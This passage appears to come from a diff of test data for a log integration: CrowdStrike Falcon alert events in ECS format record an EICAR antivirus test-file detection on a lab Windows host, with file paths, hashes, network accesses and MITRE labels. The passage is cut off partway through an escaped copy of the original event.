"192.168.64.5" - ], - "user": [ - "root" - ] - }, - "rule": { - "name": "Attacker Methodology" - }, - "source": { - "ip": "192.168.64.5" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "tactic": { - "name": [ - "Execution" - ] - }, - "technique": { - "name": [ - "User Execution" - ] - } - }, - "user": { - "name": "root" - } - }, - { - "@timestamp": "2025-07-01T12:11:39.000Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:38655211725", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320", - "DataDomains": "Endpoint", - "Description": "A process has written a known EICAR test file. Review the files written by the triggered process.", - "FilesAccessed": [ - { - "FileName": "eicarcom2.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads", - "Timestamp": "2025-07-01T12:10:30.000Z" - }, - { - "FileName": "thumbcache_16.db", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", - "Timestamp": "2025-07-01T12:10:30.000Z" - }, - { - "FileName": "eicar_com.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", - "Timestamp": "2025-07-01T12:10:30.000Z" - }, - { - "FileName": "thumbcache_idx.db", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", - "Timestamp": "2025-07-01T12:10:30.000Z" - }, - { - "FileName": "GLEAM-LIGHT.svg", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds", - "Timestamp": "2025-07-01T12:10:35.000Z" - }, - { - "FileName": "GLEAM-DARK.svg", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds", - "Timestamp": "2025-07-01T12:10:35.000Z" - }, - { - "FileName": "eicar_com.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", - "Timestamp": "2025-07-01T12:10:41.000Z" - }, - { - "FileName": "eicar_com.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", - "Timestamp": "2025-07-01T12:10:42.000Z" - }, - { - "FileName": "eicar_com.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", - "Timestamp": "2025-07-01T12:10:43.000Z" - }, - { - "FileName": "iconcache_16.db", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", - "Timestamp": "2025-07-01T12:10:43.000Z" - } - ], - "FilesWritten": [ - { - "FileName": "eicar.com", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com", - "Timestamp": "2025-07-01T12:10:43.000Z" - }, - { - "FileName": "The Internet.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:07:38.000Z" - }, - { - "FileName": "windowsdefender--threat-.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:07:38.000Z" - }, - { - "FileName": "The Internet.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:09:04.000Z" - }, - { - "FileName": "windowsdefender--threat-.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:09:04.000Z" - }, - { - "FileName": "https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:09:21.000Z" - } - ], - "GrandparentCommandLine": "winlogon.exe", - "GrandparentImageFileName": "winlogon.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "NetworkAccesses": [ - { - "AccessTimestamp": 1751371565, - "AccessType": 0, - "ConnectionDirection": 0, - "IsIPV6": false, - "LocalAddress": "10.0.0.13", - "LocalPort": 49729, - "Protocol": "TCP", - "RemoteAddress": "150.171.27.12", - "RemotePort": 443 - }, - { - "AccessTimestamp": 1751371565, - "AccessType": 0, - "ConnectionDirection": 0, - "IsIPV6": false, - "LocalAddress": "10.0.0.13", - "LocalPort": 49730, - "Protocol": "TCP", - "RemoteAddress": "2.22.144.74", - "RemotePort": 443 - }, - { - "AccessTimestamp": 1751371787, - "AccessType": 0, - "ConnectionDirection": 0, - "IsIPV6": false, - "LocalAddress": "10.0.0.13", - "LocalPort": 49948, - "Protocol": "TCP", - "RemoteAddress": "2.18.27.89", - "RemotePort": 443 - } - ], - "Objective": "Follow Through", - "ParentImageFileName": "userinit.exe", - "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternId": "10418", - "PlatformId": "0", - "PlatformName": "Windows", - "ReferrerUrl": "C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 10, - "SeverityName": "Informational", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "e880572ce33c42458b31e0dd368497fc", - "eventType": "EppDetectionSummaryEvent", - "offset": 1956190, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, standard detection.", - "category": [ - "malware" - ], - "created": "2025-07-01T12:11:39.000Z", - "kind": "alert", - "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:38655211725\",\"CommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"explorer.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"FilesAccessed\":[{\"FileName\":\"eicarcom2.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_idx.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"GLEAM-LIGHT.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"GLEAM-DARK.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371841},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371842},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371843},{\"FileName\":\"iconcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371843}],\"FilesWritten\":[{\"FileName\":\"eicar.com\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com\",\"Timestamp\":1751371843},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371761}],\"GrandParentCommandLine\":\"winlogon.exe\",\"GrandParentImageFileName\":\"winlogon.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\winlogon.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"23ba370fc8357f6f827812da142b5fcb\",\"Name\":\"Known Malware\",\"NetworkAccesses\":[{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49729,\"Protocol\":\"TCP\",\"RemoteAddress\":\"150.171.27.12\",\"RemotePort\":443},{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49730,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.22.144.74\",\"RemotePort\":443},{\"AccessTimestamp\":1751371787,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49948,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.18.27.89\",\"RemotePort\":443}],\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"ParentImageFileName\":\"userinit.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"ParentProcessId\":38850737845,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10418,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":38850874557,\"ProcessStartTime\":1751371562,\"ReferrerUrl\":\"C:\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com.zip\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1751371899000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":1956190,\"version\":\"1.0\"}}", - "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "23ba370fc8357f6f827812da142b5fcb", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7" - }, - "name": "explorer.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe" - }, - "host": { - "domain": "dave-win10-3", - "name": "dave-win10-3" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "C:\\Windows\\Explorer.EXE" - ], - "command_line": "C:\\Windows\\Explorer.EXE", - "entity_id": "38850874557", - "executable": "C:\\Windows\\Explorer.EXE", - "name": "explorer.exe", - "parent": { - "args": [ - "C:\\Windows\\system32\\userinit.exe" - ], - "command_line": "C:\\Windows\\system32\\userinit.exe", - "entity_id": "38850737845", - "executable": "C:\\Windows\\system32\\userinit.exe", - "pid": 38850737845 - }, - "pid": 38850874557, - "start": "2025-07-01T12:06:02.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7", - "23ba370fc8357f6f827812da142b5fcb" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "name": "Known Malware" - }, - "source": { - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "tactic": { - "name": [ - "Execution" - ] - }, - "technique": { - "name": [ - "User Execution" - ] - } - }, - "user": { - "name": "win10_user3" - } - }, - { - "@timestamp": "2025-07-01T12:11:39.000Z", - "crowdstrike": { - "event": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:38655211725", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320", - "DataDomains": "Endpoint", - "Description": "A process has written a known EICAR test file. Review the files written by the triggered process.", - "FilesAccessed": [ - { - "FileName": "eicarcom2.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads", - "Timestamp": "2025-07-01T12:10:30.000Z" - }, - { - "FileName": "thumbcache_16.db", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", - "Timestamp": "2025-07-01T12:10:30.000Z" - }, - { - "FileName": "eicar_com.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", - "Timestamp": "2025-07-01T12:10:30.000Z" - }, - { - "FileName": "thumbcache_idx.db", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", - "Timestamp": "2025-07-01T12:10:30.000Z" - }, - { - "FileName": "GLEAM-LIGHT.svg", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds", - "Timestamp": "2025-07-01T12:10:35.000Z" - }, - { - "FileName": "GLEAM-DARK.svg", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds", - "Timestamp": "2025-07-01T12:10:35.000Z" - }, - { - "FileName": "eicar_com.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", - "Timestamp": "2025-07-01T12:10:41.000Z" - }, - { - "FileName": "eicar_com.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", - "Timestamp": "2025-07-01T12:10:42.000Z" - }, - { - "FileName": "eicar_com.zip", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", - "Timestamp": "2025-07-01T12:10:43.000Z" - }, - { - "FileName": "iconcache_16.db", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", - "Timestamp": "2025-07-01T12:10:43.000Z" - } - ], - "FilesWritten": [ - { - "FileName": "eicar.com", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com", - "Timestamp": "2025-07-01T12:10:43.000Z" - }, - { - "FileName": "The Internet.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:07:38.000Z" - }, - { - "FileName": "windowsdefender--threat-.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:07:38.000Z" - }, - { - "FileName": "The Internet.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:09:04.000Z" - }, - { - "FileName": "windowsdefender--threat-.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:09:04.000Z" - }, - { - "FileName": "https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk", - "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", - "Timestamp": "2025-07-01T12:09:21.000Z" - } - ], - "GrandparentCommandLine": "winlogon.exe", - "GrandparentImageFileName": "winlogon.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "MitreAttack": [ - { - "PatternID": "10418", - "Tactic": "Execution", - "Technique": "User Execution" - } - ], - "NetworkAccesses": [ - { - "AccessTimestamp": 1751371565, - "AccessType": 0, - "ConnectionDirection": 0, - "IsIPV6": false, - "LocalAddress": "10.0.0.13", - "LocalPort": 49729, - "Protocol": "TCP", - "RemoteAddress": "150.171.27.12", - "RemotePort": 443 - }, - { - "AccessTimestamp": 1751371565, - "AccessType": 0, - "ConnectionDirection": 0, - "IsIPV6": false, - "LocalAddress": "10.0.0.13", - "LocalPort": 49730, - "Protocol": "TCP", - "RemoteAddress": "2.22.144.74", - "RemotePort": 443 - }, - { - "AccessTimestamp": 1751371787, - "AccessType": 0, - "ConnectionDirection": 0, - "IsIPV6": false, - "LocalAddress": "10.0.0.13", - "LocalPort": 49948, - "Protocol": "TCP", - "RemoteAddress": "2.18.27.89", - "RemotePort": 443 - } - ], - "Objective": "Follow Through", - "ParentImageFileName": "userinit.exe", - "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternId": "10418", - "PlatformId": "0", - "PlatformName": "Windows", - "ReferrerUrl": "C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 10, - "SeverityName": "Informational", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Type": "ldt" - }, - "metadata": { - "customerIDString": "e880572ce33c42458b31e0dd368497fc", - "eventType": "EppDetectionSummaryEvent", - "offset": 1956190, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Detection, standard detection.", - "category": [ - "malware" - ], - "created": "2025-07-01T12:11:39.000Z", - "kind": "alert", - "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:38655211725\",\"CommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"explorer.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"FilesAccessed\":[{\"FileName\":\"eicarcom2.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_idx.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"GLEAM-LIGHT.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"GLEAM-DARK.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371841},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371842},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371843},{\"FileName\":\"iconcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371843}],\"FilesWritten\":[{\"FileName\":\"eicar.com\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com\",\"Timestamp\":1751371843},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371761}],\"GrandParentCommandLine\":\"winlogon.exe\",\"GrandParentImageFileName\":\"winlogon.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\winlogon.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"23ba370fc8357f6f827812da142b5fcb\",\"Name\":\"Known Malware\",\"NetworkAccesses\":[{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49729,\"Protocol\":\"TCP\",\"RemoteAddress\":\"150.171.27.12\",\"RemotePort\":443},{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49730,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.22.144.74\",\"RemotePort\":443},{\"AccessTimestamp\":1751371787,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49948,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.18.27.89\",\"RemotePort\":443}],\"Objective\":\"Follow 